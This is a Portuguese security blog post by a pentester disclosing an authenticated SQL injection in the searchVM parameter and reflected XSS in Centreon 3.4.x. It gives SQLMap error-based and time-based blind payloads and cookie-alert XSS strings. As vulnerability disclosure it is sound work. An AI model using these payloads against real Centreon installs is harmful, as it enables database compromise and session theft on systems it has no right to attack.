Centreon Authenticated SQLi & XSS Reflected

Constantemente escolho algumas aplicações conhecidas para dar uma olhada no laboratório. Desta a aplicação Centreon(vesrão 3-4-x) foi o escolhido para ser o alvo da pesquisa.

O Centreon é um software que monitora sistemas, dispositivos, tráfegos e aplicações de infraestrutura de TI. Esta aplicação é utilizada por empresas como: Lacoste, Redbull, Sephora, Air France e entre outras. 

Antes de começarmos, vale mencionar que para explorar estas vulnerabilidades, é necessário estar autenticado com uma credencial na aplicação.

 

Authenticated SQL Injection:

The SQL Injection foi encontrado na seguinte url: “http://xxx.xxx.xxx.xxx/centreon/main.php?p=20408” no parâmetro “SearchVM”.
Requisição:

Requisição HTTP

SQLMap:

SQLMap

Payload:
Parameter: searchVM (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based – WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: searchVM=’ AND (SELECT 7076 FROM(SELECT COUNT(*),CONCAT(0x71707a6a71,(SELECT (ELT(7076=7076,1))),0x7162787071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)– edsY&o1=&p=&l=30&p=20408&search=&num=0&order=&type=&sort_types=&centreon_token=39909c9fde4233de875aedebde2db0b0&o2=&p=&l=30&p=20408&search=&num=0&order=&type=&sort_types=&centreon_token=62c24ac7c0a5f29d2f09d9974a5e1cc2&o=42&limit=30&centreon_token=e62bb5cc7805dce093e5e7f5bbdc60bb
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: searchVM=’ AND (SELECT * FROM (SELECT(SLEEP(5)))IBjx)– gFbi&o1=&p=&l=30&p=20408&search=&num=0&order=&type=&sort_types=&centreon_token=39909c9fde4233de875aedebde2db0b0&o2=&p=&l=30&p=20408&search=&num=0&order=&type=&sort_types=&centreon_token=62c24ac7c0a5f29d2f09d9974a5e1cc2&o=42&limit=30&centreon_token=e62bb5cc7805dce093e5e7f5bbdc60bb
.
Authenticated XSS Reflected:
O XSS foi encontrado na seguinte url: “http://xxx.xxx.xxx.xxx/centreon/main.php?p=202″ no input “Service”. Quando inserimos “<script><script>” o body da aplicação é quebrado e retornado o conteúdo do mesmo em texto:
Broken <body>
Se nós utilizarmo o seguinte: “<script></script><script>alert(document.cookie)</script>” conseguimos o pop-up do alert com o cookie:
XSS Reflected 1
O segundo xss foi encontrado em quase todos inputs da aplicação. Utilizando o seguinte payload: “><script>alert(document.cookie)</script>:
XSS Reflected 2
CVE’S:
Lucas Carmo
Follow me

Lucas Carmo

Pentester & Researcher at Stone Pagamentos
Um grande apreciador de segurança da informação, apaixonado por tecnologia e a cultura cibernética como um todo.
Lucas Carmo
Follow me

Lucas Carmo

Um grande apreciador de segurança da informação, apaixonado por tecnologia e a cultura cibernética como um todo.